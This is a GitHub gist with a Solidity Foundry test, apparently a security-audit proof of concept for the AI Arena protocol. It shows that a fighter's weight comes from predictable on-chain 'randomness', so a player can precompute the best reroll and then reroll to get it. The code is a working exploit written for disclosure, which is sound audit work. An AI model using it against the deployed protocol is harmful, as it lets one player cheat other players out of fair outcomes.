Last active
May 6, 2024 11:37
-
-
Save BlankSpaceAudits/431faa82541595f27a8ea7bd48a99097 to your computer and use it in GitHub Desktop.
AI Arena POC - A user can game the protocol through weight and element manipulation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function testDnaManipulation() public { | |
address player = vm.addr(3); | |
_mintFromMergingPool(player); | |
uint8 tokenId = 0; | |
_fundUserWith4kNeuronByTreasury(player); | |
(,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId); | |
console.log("Owner Addr: ", player); // 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69 | |
console.log("Original Weight: ", weight); // 80 | |
uint256 bestWeight = weight; | |
// arbitrary huge number | |
uint256 bestReroll = 99999; | |
for (uint256 i = 1; i < 4; i++) { | |
// How DNA is calculated | |
// uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); | |
uint256 expectedDna = uint256(keccak256(abi.encode(player, tokenId, i))); | |
// How weight is calculated | |
// uint256 weight = dna % 31 + 65; | |
uint256 expectedWeight = expectedDna % 31 + 65; | |
if (bestWeight < expectedWeight) { | |
bestReroll = i; | |
bestWeight = expectedWeight; | |
} | |
} | |
console.log("-----------------------------------------"); | |
console.log("BEST REROLL: ", bestReroll); | |
console.log("BEST WEIGHT: ", bestWeight); | |
console.log("-----------------------------------------"); | |
// if rerolling is even worth it | |
if (bestReroll != 99999) { | |
uint8 fighterType = 0; | |
_neuronContract.addSpender(address(_fighterFarmContract)); | |
for (uint256 i = 1; i < 4; i++) { | |
vm.prank(player); | |
_fighterFarmContract.reRoll(tokenId, fighterType); | |
(,,uint256 newWeight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId); | |
console.log("Actual Reroll: ", i); | |
console.log("Actual Weight: ", newWeight); | |
if (bestReroll == i) { | |
assertEq(newWeight, bestWeight); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment